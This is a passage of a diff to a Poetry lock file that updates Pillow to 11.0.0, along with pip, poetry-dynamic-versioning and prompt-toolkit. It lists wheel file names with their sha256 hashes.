"sha256:ecd85a8d3e79cd7158dec1c9e5808e821feea088e2f69a974db5edf84dc53141"}, - {file = "pillow-10.4.0-cp310-cp310-win_arm64.whl", hash = "sha256:ff337c552345e95702c5fde3158acb0625111017d0e5f24bf3acdb9cc16b90d1"}, - {file = "pillow-10.4.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:0a9ec697746f268507404647e531e92889890a087e03681a3606d9b920fbee3c"}, - {file = "pillow-10.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dfe91cb65544a1321e631e696759491ae04a2ea11d36715eca01ce07284738be"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dc6761a6efc781e6a1544206f22c80c3af4c8cf461206d46a1e6006e4429ff3"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e84b6cc6a4a3d76c153a6b19270b3526a5a8ed6b09501d3af891daa2a9de7d6"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:bbc527b519bd3aa9d7f429d152fea69f9ad37c95f0b02aebddff592688998abe"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:76a911dfe51a36041f2e756b00f96ed84677cdeb75d25c767f296c1c1eda1319"}, - {file = "pillow-10.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:59291fb29317122398786c2d44427bbd1a6d7ff54017075b22be9d21aa59bd8d"}, - {file = "pillow-10.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:416d3a5d0e8cfe4f27f574362435bc9bae57f679a7158e0096ad2beb427b8696"}, - {file = "pillow-10.4.0-cp311-cp311-win32.whl", hash = "sha256:7086cc1d5eebb91ad24ded9f58bec6c688e9f0ed7eb3dbbf1e4800280a896496"}, - {file = "pillow-10.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:cbed61494057c0f83b83eb3a310f0bf774b09513307c434d4366ed64f4128a91"}, - {file = "pillow-10.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:f5f0c3e969c8f12dd2bb7e0b15d5c468b51e5017e01e2e867335c81903046a22"}, - {file = "pillow-10.4.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:673655af3eadf4df6b5457033f086e90299fdd7a47983a13827acf7459c15d94"}, - {file = "pillow-10.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:866b6942a92f56300012f5fbac71f2d610312ee65e22f1aa2609e491284e5597"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29dbdc4207642ea6aad70fbde1a9338753d33fb23ed6956e706936706f52dd80"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf2342ac639c4cf38799a44950bbc2dfcb685f052b9e262f446482afaf4bffca"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:f5b92f4d70791b4a67157321c4e8225d60b119c5cc9aee8ecf153aace4aad4ef"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:86dcb5a1eb778d8b25659d5e4341269e8590ad6b4e8b44d9f4b07f8d136c414a"}, - {file = "pillow-10.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:780c072c2e11c9b2c7ca37f9a2ee8ba66f44367ac3e5c7832afcfe5104fd6d1b"}, - {file = "pillow-10.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:37fb69d905be665f68f28a8bba3c6d3223c8efe1edf14cc4cfa06c241f8c81d9"}, - {file = "pillow-10.4.0-cp312-cp312-win32.whl", hash = "sha256:7dfecdbad5c301d7b5bde160150b4db4c659cee2b69589705b6f8a0c509d9f42"}, - {file = "pillow-10.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:1d846aea995ad352d4bdcc847535bd56e0fd88d36829d2c90be880ef1ee4668a"}, - {file = "pillow-10.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:e553cad5179a66ba15bb18b353a19020e73a7921296a7979c4a2b7f6a5cd57f9"}, - {file = "pillow-10.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8bc1a764ed8c957a2e9cacf97c8b2b053b70307cf2996aafd70e91a082e70df3"}, - {file = "pillow-10.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6209bb41dc692ddfee4942517c19ee81b86c864b626dbfca272ec0f7cff5d9fb"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bee197b30783295d2eb680b311af15a20a8b24024a19c3a26431ff83eb8d1f70"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ef61f5dd14c300786318482456481463b9d6b91ebe5ef12f405afbba77ed0be"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:297e388da6e248c98bc4a02e018966af0c5f92dfacf5a5ca22fa01cb3179bca0"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:e4db64794ccdf6cb83a59d73405f63adbe2a1887012e308828596100a0b2f6cc"}, - {file = "pillow-10.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bd2880a07482090a3bcb01f4265f1936a903d70bc740bfcb1fd4e8a2ffe5cf5a"}, - {file = "pillow-10.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4b35b21b819ac1dbd1233317adeecd63495f6babf21b7b2512d244ff6c6ce309"}, - {file = "pillow-10.4.0-cp313-cp313-win32.whl", hash = "sha256:551d3fd6e9dc15e4c1eb6fc4ba2b39c0c7933fa113b220057a34f4bb3268a060"}, - {file = "pillow-10.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:030abdbe43ee02e0de642aee345efa443740aa4d828bfe8e2eb11922ea6a21ea"}, - {file = "pillow-10.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:5b001114dd152cfd6b23befeb28d7aee43553e2402c9f159807bf55f33af8a8d"}, - {file = "pillow-10.4.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:8d4d5063501b6dd4024b8ac2f04962d661222d120381272deea52e3fc52d3736"}, - {file = "pillow-10.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7c1ee6f42250df403c5f103cbd2768a28fe1a0ea1f0f03fe151c8741e1469c8b"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b15e02e9bb4c21e39876698abf233c8c579127986f8207200bc8a8f6bb27acf2"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a8d4bade9952ea9a77d0c3e49cbd8b2890a399422258a77f357b9cc9be8d680"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:43efea75eb06b95d1631cb784aa40156177bf9dd5b4b03ff38979e048258bc6b"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:950be4d8ba92aca4b2bb0741285a46bfae3ca699ef913ec8416c1b78eadd64cd"}, - {file = "pillow-10.4.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d7480af14364494365e89d6fddc510a13e5a2c3584cb19ef65415ca57252fb84"}, - {file = "pillow-10.4.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:73664fe514b34c8f02452ffb73b7a92c6774e39a647087f83d67f010eb9a0cf0"}, - {file = "pillow-10.4.0-cp38-cp38-win32.whl", hash = "sha256:e88d5e6ad0d026fba7bdab8c3f225a69f063f116462c49892b0149e21b6c0a0e"}, - {file = "pillow-10.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:5161eef006d335e46895297f642341111945e2c1c899eb406882a6c61a4357ab"}, - {file = "pillow-10.4.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:0ae24a547e8b711ccaaf99c9ae3cd975470e1a30caa80a6aaee9a2f19c05701d"}, - {file = "pillow-10.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:298478fe4f77a4408895605f3482b6cc6222c018b2ce565c2b6b9c354ac3229b"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:134ace6dc392116566980ee7436477d844520a26a4b1bd4053f6f47d096997fd"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:930044bb7679ab003b14023138b50181899da3f25de50e9dbee23b61b4de2126"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:c76e5786951e72ed3686e122d14c5d7012f16c8303a674d18cdcd6d89557fc5b"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:b2724fdb354a868ddf9a880cb84d102da914e99119211ef7ecbdc613b8c96b3c"}, - {file = "pillow-10.4.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:dbc6ae66518ab3c5847659e9988c3b60dc94ffb48ef9168656e0019a93dbf8a1"}, - {file = "pillow-10.4.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:06b2f7898047ae93fad74467ec3d28fe84f7831370e3c258afa533f81ef7f3df"}, - {file = "pillow-10.4.0-cp39-cp39-win32.whl", hash = "sha256:7970285ab628a3779aecc35823296a7869f889b8329c16ad5a71e4901a3dc4ef"}, - {file = "pillow-10.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:961a7293b2457b405967af9c77dcaa43cc1a8cd50d23c532e62d48ab6cdd56f5"}, - {file = "pillow-10.4.0-cp39-cp39-win_arm64.whl", hash = "sha256:32cda9e3d601a52baccb2856b8ea1fc213c90b340c542dcef77140dfa3278a9e"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:5b4815f2e65b30f5fbae9dfffa8636d992d49705723fe86a3661806e069352d4"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:8f0aef4ef59694b12cadee839e2ba6afeab89c0f39a3adc02ed51d109117b8da"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9f4727572e2918acaa9077c919cbbeb73bd2b3ebcfe033b72f858fc9fbef0026"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff25afb18123cea58a591ea0244b92eb1e61a1fd497bf6d6384f09bc3262ec3e"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:dc3e2db6ba09ffd7d02ae9141cfa0ae23393ee7687248d46a7507b75d610f4f5"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:02a2be69f9c9b8c1e97cf2713e789d4e398c751ecfd9967c18d0ce304efbf885"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:0755ffd4a0c6f267cccbae2e9903d95477ca2f77c4fcf3a3a09570001856c8a5"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:a02364621fe369e06200d4a16558e056fe2805d3468350df3aef21e00d26214b"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:1b5dea9831a90e9d0721ec417a80d4cbd7022093ac38a568db2dd78363b00908"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b885f89040bb8c4a1573566bbb2f44f5c505ef6e74cec7ab9068c900047f04b"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87dd88ded2e6d74d31e1e0a99a726a6765cda32d00ba72dc37f0651f306daaa8"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:2db98790afc70118bd0255c2eeb465e9767ecf1f3c25f9a1abb8ffc8cfd1fe0a"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:f7baece4ce06bade126fb84b8af1c33439a76d8a6fd818970215e0560ca28c27"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:cfdd747216947628af7b259d274771d84db2268ca062dd5faf373639d00113a3"}, - {file = "pillow-10.4.0.tar.gz", hash = "sha256:166c1cd4d24309b30d61f79f4a9114b7b2313d7450912277855ff5dfd7cd4a06"}, + {file = "pillow-11.0.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6619654954dc4936fcff82db8eb6401d3159ec6be81e33c6000dfd76ae189947"}, + {file = "pillow-11.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b3c5ac4bed7519088103d9450a1107f76308ecf91d6dabc8a33a2fcfb18d0fba"}, + {file = "pillow-11.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a65149d8ada1055029fcb665452b2814fe7d7082fcb0c5bed6db851cb69b2086"}, + {file = "pillow-11.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88a58d8ac0cc0e7f3a014509f0455248a76629ca9b604eca7dc5927cc593c5e9"}, + {file = "pillow-11.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:c26845094b1af3c91852745ae78e3ea47abf3dbcd1cf962f16b9a5fbe3ee8488"}, + {file = "pillow-11.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:1a61b54f87ab5786b8479f81c4b11f4d61702830354520837f8cc791ebba0f5f"}, + {file = "pillow-11.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:674629ff60030d144b7bca2b8330225a9b11c482ed408813924619c6f302fdbb"}, + {file = "pillow-11.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:598b4e238f13276e0008299bd2482003f48158e2b11826862b1eb2ad7c768b97"}, + {file = "pillow-11.0.0-cp310-cp310-win32.whl", hash = "sha256:9a0f748eaa434a41fccf8e1ee7a3eed68af1b690e75328fd7a60af123c193b50"}, + {file = "pillow-11.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:a5629742881bcbc1f42e840af185fd4d83a5edeb96475a575f4da50d6ede337c"}, + {file = "pillow-11.0.0-cp310-cp310-win_arm64.whl", hash = "sha256:ee217c198f2e41f184f3869f3e485557296d505b5195c513b2bfe0062dc537f1"}, + {file = "pillow-11.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:1c1d72714f429a521d8d2d018badc42414c3077eb187a59579f28e4270b4b0fc"}, + {file = "pillow-11.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:499c3a1b0d6fc8213519e193796eb1a86a1be4b1877d678b30f83fd979811d1a"}, + {file = "pillow-11.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c8b2351c85d855293a299038e1f89db92a2f35e8d2f783489c6f0b2b5f3fe8a3"}, + {file = "pillow-11.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f4dba50cfa56f910241eb7f883c20f1e7b1d8f7d91c750cd0b318bad443f4d5"}, + {file = "pillow-11.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:5ddbfd761ee00c12ee1be86c9c0683ecf5bb14c9772ddbd782085779a63dd55b"}, + {file = "pillow-11.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:45c566eb10b8967d71bf1ab8e4a525e5a93519e29ea071459ce517f6b903d7fa"}, + {file = "pillow-11.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b4fd7bd29610a83a8c9b564d457cf5bd92b4e11e79a4ee4716a63c959699b306"}, + {file = "pillow-11.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:cb929ca942d0ec4fac404cbf520ee6cac37bf35be479b970c4ffadf2b6a1cad9"}, + {file = "pillow-11.0.0-cp311-cp311-win32.whl", hash = "sha256:006bcdd307cc47ba43e924099a038cbf9591062e6c50e570819743f5607404f5"}, + {file = "pillow-11.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:52a2d8323a465f84faaba5236567d212c3668f2ab53e1c74c15583cf507a0291"}, + {file = "pillow-11.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:16095692a253047fe3ec028e951fa4221a1f3ed3d80c397e83541a3037ff67c9"}, + {file = "pillow-11.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d2c0a187a92a1cb5ef2c8ed5412dd8d4334272617f532d4ad4de31e0495bd923"}, + {file = "pillow-11.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:084a07ef0821cfe4858fe86652fffac8e187b6ae677e9906e192aafcc1b69903"}, + {file = "pillow-11.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8069c5179902dcdce0be9bfc8235347fdbac249d23bd90514b7a47a72d9fecf4"}, + {file = "pillow-11.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f02541ef64077f22bf4924f225c0fd1248c168f86e4b7abdedd87d6ebaceab0f"}, + {file = "pillow-11.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:fcb4621042ac4b7865c179bb972ed0da0218a076dc1820ffc48b1d74c1e37fe9"}, + {file = "pillow-11.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:00177a63030d612148e659b55ba99527803288cea7c75fb05766ab7981a8c1b7"}, + {file = "pillow-11.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8853a3bf12afddfdf15f57c4b02d7ded92c7a75a5d7331d19f4f9572a89c17e6"}, + {file = "pillow-11.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3107c66e43bda25359d5ef446f59c497de2b5ed4c7fdba0894f8d6cf3822dafc"}, + {file = "pillow-11.0.0-cp312-cp312-win32.whl", hash = "sha256:86510e3f5eca0ab87429dd77fafc04693195eec7fd6a137c389c3eeb4cfb77c6"}, + {file = "pillow-11.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:8ec4a89295cd6cd4d1058a5e6aec6bf51e0eaaf9714774e1bfac7cfc9051db47"}, + {file = "pillow-11.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:27a7860107500d813fcd203b4ea19b04babe79448268403172782754870dac25"}, + {file = "pillow-11.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:bcd1fb5bb7b07f64c15618c89efcc2cfa3e95f0e3bcdbaf4642509de1942a699"}, + {file = "pillow-11.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0e038b0745997c7dcaae350d35859c9715c71e92ffb7e0f4a8e8a16732150f38"}, + {file = "pillow-11.0.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ae08bd8ffc41aebf578c2af2f9d8749d91f448b3bfd41d7d9ff573d74f2a6b2"}, + {file = "pillow-11.0.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d69bfd8ec3219ae71bcde1f942b728903cad25fafe3100ba2258b973bd2bc1b2"}, + {file = "pillow-11.0.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:61b887f9ddba63ddf62fd02a3ba7add935d053b6dd7d58998c630e6dbade8527"}, + {file = "pillow-11.0.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:c6a660307ca9d4867caa8d9ca2c2658ab685de83792d1876274991adec7b93fa"}, + {file = "pillow-11.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:73e3a0200cdda995c7e43dd47436c1548f87a30bb27fb871f352a22ab8dcf45f"}, + {file = "pillow-11.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fba162b8872d30fea8c52b258a542c5dfd7b235fb5cb352240c8d63b414013eb"}, + {file = "pillow-11.0.0-cp313-cp313-win32.whl", hash = "sha256:f1b82c27e89fffc6da125d5eb0ca6e68017faf5efc078128cfaa42cf5cb38798"}, + {file = "pillow-11.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:8ba470552b48e5835f1d23ecb936bb7f71d206f9dfeee64245f30c3270b994de"}, + {file = "pillow-11.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:846e193e103b41e984ac921b335df59195356ce3f71dcfd155aa79c603873b84"}, + {file = "pillow-11.0.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:4ad70c4214f67d7466bea6a08061eba35c01b1b89eaa098040a35272a8efb22b"}, + {file = "pillow-11.0.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:6ec0d5af64f2e3d64a165f490d96368bb5dea8b8f9ad04487f9ab60dc4bb6003"}, + {file = "pillow-11.0.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c809a70e43c7977c4a42aefd62f0131823ebf7dd73556fa5d5950f5b354087e2"}, + {file = "pillow-11.0.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:4b60c9520f7207aaf2e1d94de026682fc227806c6e1f55bba7606d1c94dd623a"}, + {file = "pillow-11.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:1e2688958a840c822279fda0086fec1fdab2f95bf2b717b66871c4ad9859d7e8"}, + {file = "pillow-11.0.0-cp313-cp313t-win32.whl", hash = "sha256:607bbe123c74e272e381a8d1957083a9463401f7bd01287f50521ecb05a313f8"}, + {file = "pillow-11.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5c39ed17edea3bc69c743a8dd3e9853b7509625c2462532e62baa0732163a904"}, + {file = "pillow-11.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:75acbbeb05b86bc53cbe7b7e6fe00fbcf82ad7c684b3ad82e3d711da9ba287d3"}, + {file = "pillow-11.0.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:2e46773dc9f35a1dd28bd6981332fd7f27bec001a918a72a79b4133cf5291dba"}, + {file = "pillow-11.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:2679d2258b7f1192b378e2893a8a0a0ca472234d4c2c0e6bdd3380e8dfa21b6a"}, + {file = "pillow-11.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eda2616eb2313cbb3eebbe51f19362eb434b18e3bb599466a1ffa76a033fb916"}, + {file = "pillow-11.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20ec184af98a121fb2da42642dea8a29ec80fc3efbaefb86d8fdd2606619045d"}, + {file = "pillow-11.0.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:8594f42df584e5b4bb9281799698403f7af489fba84c34d53d1c4bfb71b7c4e7"}, + {file = "pillow-11.0.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:c12b5ae868897c7338519c03049a806af85b9b8c237b7d675b8c5e089e4a618e"}, + {file = "pillow-11.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:70fbbdacd1d271b77b7721fe3cdd2d537bbbd75d29e6300c672ec6bb38d9672f"}, + {file = "pillow-11.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5178952973e588b3f1360868847334e9e3bf49d19e169bbbdfaf8398002419ae"}, + {file = "pillow-11.0.0-cp39-cp39-win32.whl", hash = "sha256:8c676b587da5673d3c75bd67dd2a8cdfeb282ca38a30f37950511766b26858c4"}, + {file = "pillow-11.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:94f3e1780abb45062287b4614a5bc0874519c86a777d4a7ad34978e86428b8dd"}, + {file = "pillow-11.0.0-cp39-cp39-win_arm64.whl", hash = "sha256:290f2cc809f9da7d6d622550bbf4c1e57518212da51b6a30fe8e0a270a5b78bd"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1187739620f2b365de756ce086fdb3604573337cc28a0d3ac4a01ab6b2d2a6d2"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:fbbcb7b57dc9c794843e3d1258c0fbf0f48656d46ffe9e09b63bbd6e8cd5d0a2"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d203af30149ae339ad1b4f710d9844ed8796e97fda23ffbc4cc472968a47d0b"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21a0d3b115009ebb8ac3d2ebec5c2982cc693da935f4ab7bb5c8ebe2f47d36f2"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:73853108f56df97baf2bb8b522f3578221e56f646ba345a372c78326710d3830"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e58876c91f97b0952eb766123bfef372792ab3f4e3e1f1a2267834c2ab131734"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:224aaa38177597bb179f3ec87eeefcce8e4f85e608025e9cfac60de237ba6316"}, + {file = "pillow-11.0.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5bd2d3bdb846d757055910f0a59792d33b555800813c3b39ada1829c372ccb06"}, + {file = "pillow-11.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:375b8dd15a1f5d2feafff536d47e22f69625c1aa92f12b339ec0b2ca40263273"}, + {file = "pillow-11.0.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:daffdf51ee5db69a82dd127eabecce20729e21f7a3680cf7cbb23f0829189790"}, + {file = "pillow-11.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7326a1787e3c7b0429659e0a944725e1b03eeaa10edd945a86dead1913383944"}, + {file = "pillow-11.0.0.tar.gz", hash = "sha256:72bacbaf24ac003fea9bff9837d1eedb6088758d41e100c1552930151f677739"}, ] [package.extras] -docs = ["furo", "olefile", "sphinx (>=7.3)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] +docs = ["furo", "olefile", "sphinx (>=8.1)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] fpx = ["olefile"] mic = ["olefile"] tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] @@ -1496,13 +1546,13 @@ xmp = ["defusedxml"] [[package]] name = "pip" -version = "24.1.2" +version = "24.2" description = "The PyPA recommended tool for installing Python packages." optional = false python-versions = ">=3.8" files = [ - {file = "pip-24.1.2-py3-none-any.whl", hash = "sha256:7cd207eed4c60b0f411b444cd1464198fe186671c323b6cd6d433ed80fc9d247"}, - {file = "pip-24.1.2.tar.gz", hash = "sha256:e5458a0b89f2755e0ee8c0c77613fe5273e05f337907874d64f13171a898a7ff"}, + {file = "pip-24.2-py3-none-any.whl", hash = "sha256:2cd581cf58ab7fcfca4ce8efa6dcacd0de5bf8d0a3eb9ec927e07405f4d9e2a2"}, + {file = "pip-24.2.tar.gz", hash = "sha256:5b5e490b5e9cb275c879595064adce9ebd31b854e3e803740b72f9ccf34a45b8"}, ] [[package]] @@ -1522,13 +1572,13 @@ testing = ["pytest", "pytest-benchmark"] [[package]] name = "poetry-dynamic-versioning" -version = "1.4.0" +version = "1.4.1" description = "Plugin for Poetry to enable dynamic versioning based on VCS tags" optional = false python-versions = "<4.0,>=3.7" files = [ - {file = "poetry_dynamic_versioning-1.4.0-py3-none-any.whl", hash = "sha256:d6727d33d1c65850039cd804013a43780e0a3c9a3d693cf557ab87aa3891f148"}, - {file = "poetry_dynamic_versioning-1.4.0.tar.gz", hash = "sha256:725178bd50a22f2dd4035de7f965151e14ecf8f7f19996b9e536f4c5559669a7"}, + {file = "poetry_dynamic_versioning-1.4.1-py3-none-any.whl", hash = "sha256:44866ccbf869849d32baed4fc5fadf97f786180d8efa1719c88bf17a471bd663"}, + {file = "poetry_dynamic_versioning-1.4.1.tar.gz", hash = "sha256:21584d21ca405aa7d83d23d38372e3c11da664a8742995bdd517577e8676d0e1"}, ] [package.dependencies] @@ -1541,13 +1591,13 @@ plugin = ["poetry (>=1.2.0,<2.0.0)"] [[package]] name = "prompt-toolkit" -version = "3.0.47" +version = "3.0.48" description = "Library for building powerful interactive command lines in Python" optional = false python-versions = ">=3.7.0" files = [ - {file = "prompt_toolkit-3.0.47-py3-none-any.whl", hash = "sha256:0d7bfa67001d5e39d02c224b663abc33687405033a8c422d0d675a5a13361d10"}, - {file = "prompt_toolkit-3.0.47.tar.gz", hash = "sha256:1e1b29cb58080b1e69f207c893a1a7bf16d127a5c30c9d17a25a5d77792e5360"}, + {file = 